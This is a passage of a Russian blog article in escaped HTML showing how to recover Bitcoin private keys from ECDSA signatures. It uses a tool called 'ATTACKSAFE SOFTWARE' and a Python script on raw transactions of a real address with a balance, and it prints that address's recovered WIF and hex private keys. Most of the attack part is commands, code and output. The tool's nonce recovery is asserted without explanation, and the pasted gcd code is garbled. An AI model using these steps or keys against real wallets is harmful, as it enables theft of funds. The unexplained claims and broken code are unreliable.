data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ec6\/b13\/714\/ec6b137140d5a402d3770477b38976a2.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1 Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8<\/code><\/pre>\n<hr\/>\n<p><strong>\u0427\u0442\u043e\u0431\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435<\/strong>\u00a0<a href=\"https:\/\/attacksafe.ru\/software\/\" rel=\"noopener noreferrer nofollow\"><strong><u>\u201cATTACKSAFE SOFTWARE\u201d<\/u><\/strong><\/a><\/p>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/102\/3e0\/01f\/1023e001f422b46462f328c712cf1ecd.png\" alt=\"www.attacksafe.ru\/software\" title=\"www.attacksafe.ru\/software\" width=\"989\" height=\"223\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/102\/3e0\/01f\/1023e001f422b46462f328c712cf1ecd.png\"\/><figcaption>www.attacksafe.ru\/software<\/figcaption><\/figure>\n<h3>\u041f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430:<\/h3>\n<pre><code>chmod +x attacksafe<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e10\/7bb\/f7e\/e107bbf7e23644aff9adf739a68b17de.png\" alt=\"\" title=\"\" width=\"834\" height=\"555\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e10\/7bb\/f7e\/e107bbf7e23644aff9adf739a68b17de.png\"\/><figcaption><\/figcaption><\/figure>\n<h3>\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435:<\/h3>\n<pre><code class=\"bash\">.\/attacksafe -help<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/33e\/141\/3c8\/33e1413c8e4c37a9836354cd892362c5.png\" alt=\"\" title=\"\" width=\"923\" height=\"598\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/33e\/141\/3c8\/33e1413c8e4c37a9836354cd892362c5.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"css\">-version:  software version -list:     list of bitcoin attacks -tool:     indicate the attack -gpu:      enable gpu -time:     work timeout -server:   server mode -port:     server port -open:     open file -save:     save file -search:   vulnerability search -stop:     stop at mode -max:      maximum quantity in mode -min:      minimum quantity per mode -speed:    boost speed for mode -range:    specific range -crack:    crack mode -field:    starting field -point:    starting point -inject:   injection regimen -decode:   decoding mode<\/code><\/pre>\n<pre><code>.\/attacksafe -version<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4b1\/e8d\/9ff\/4b1e8d9ff88c7d36cce6f5a4b311e694.png\" alt=\"\" title=\"\" width=\"592\" height=\"275\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4b1\/e8d\/9ff\/4b1e8d9ff88c7d36cce6f5a4b311e694.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>\"ATTACKSAFE SOFTWARE\"<\/code>\u00a0\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0432\u0441\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d.<\/p>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a:<\/h3>\n<pre><code class=\"bash\">.\/attacksafe -list<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3cd\/414\/e24\/3cd414e24b55b54bf4b072884e627bd1.png\" alt=\"\" title=\"\" width=\"1024\" height=\"602\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3cd\/414\/e24\/3cd414e24b55b54bf4b072884e627bd1.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e20\/5e8\/16c\/e205e816c8711feffe0529ce24a6917d.png\" alt=\"\" title=\"\" width=\"1024\" height=\"602\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e20\/5e8\/16c\/e205e816c8711feffe0529ce24a6917d.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0434\u0430\u043b\u0435\u0435 \u0432\u044b\u0431\u0435\u0440\u0435\u043c<code>\u00a0-tool: frey_ruck_attack<\/code><\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code class=\"bash\">.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/df8\/640\/2d8\/df86402d88348a28e28c07935233ee95.png\" alt=\"\" title=\"\" width=\"1024\" height=\"261\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/df8\/640\/2d8\/df86402d88348a28e28c07935233ee95.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/794\/d78\/fc1\/794d78fc109db1ccd28fe88e29c12eca.png\" alt=\"\" title=\"\" width=\"1024\" height=\"487\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/794\/d78\/fc1\/794d78fc109db1ccd28fe88e29c12eca.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3 RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<pre><code>pip3 install ECPy<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/59e\/6ba\/530\/59e6ba530bfc1d13d4ae29df6a7bbd7e.png\" alt=\"\" title=\"\" width=\"1024\" height=\"335\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/59e\/6ba\/530\/59e6ba530bfc1d13d4ae29df6a7bbd7e.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6c9\/8ef\/538\/6c98ef538df7d2725b47c87e241e8977.png\" alt=\"\" title=\"\" width=\"1024\" height=\"106\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6c9\/8ef\/538\/6c98ef538df7d2725b47c87e241e8977.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1 Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff point2gen  =   (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code class=\"python\">def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3 R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1 Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/85c\/f6b\/1d8\/85cf6b1d87539626c9805250caecf060.png\" alt=\"\" title=\"\" width=\"741\" height=\"269\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/85c\/f6b\/1d8\/85cf6b1d87539626c9805250caecf060.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code class=\"css\">ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5f7\/ee9\/eb7\/5f7ee9eb786adecfa3748104c3d6406d.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5f7\/ee9\/eb7\/5f7ee9eb786adecfa3748104c3d6406d.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/192\/d06\/c7d\/192d06c7dc174d6adc28d137362621b3.png\" alt=\"www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" title=\"www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" width=\"1024\" height=\"449\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/192\/d06\/c7d\/192d06c7dc174d6adc28d137362621b3.png\"\/><figcaption>www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/figcaption><\/figure>\n<p><code>BALANCE: $ 711.37<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0442\u0435\u0440\u0438 \u043c\u043e\u043d\u0435\u0442 BTC \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432<code>\u00a0TXID:<\/code><a href=\"https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128\" rel=\"noopener noreferrer nofollow\"><u>\u00a0<\/u><strong><u>81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128<\/u><\/strong><\/a>\u00a0\u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430<\/p>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a52\/d37\/f21\/a52d37f212f832218609cd4cc14280ed.png\" alt=\"\" title=\"\" width=\"1024\" height=\"97\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a52\/d37\/f21\/a52d37f212f832218609cd4cc14280ed.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/276\/268\/9a9\/2762689a9da5067967b232bdb99df6ef.png\" alt=\"\" title=\"\" width=\"1024\" height=\"243\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/276\/268\/9a9\/2762689a9da5067967b232bdb99df6ef.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f 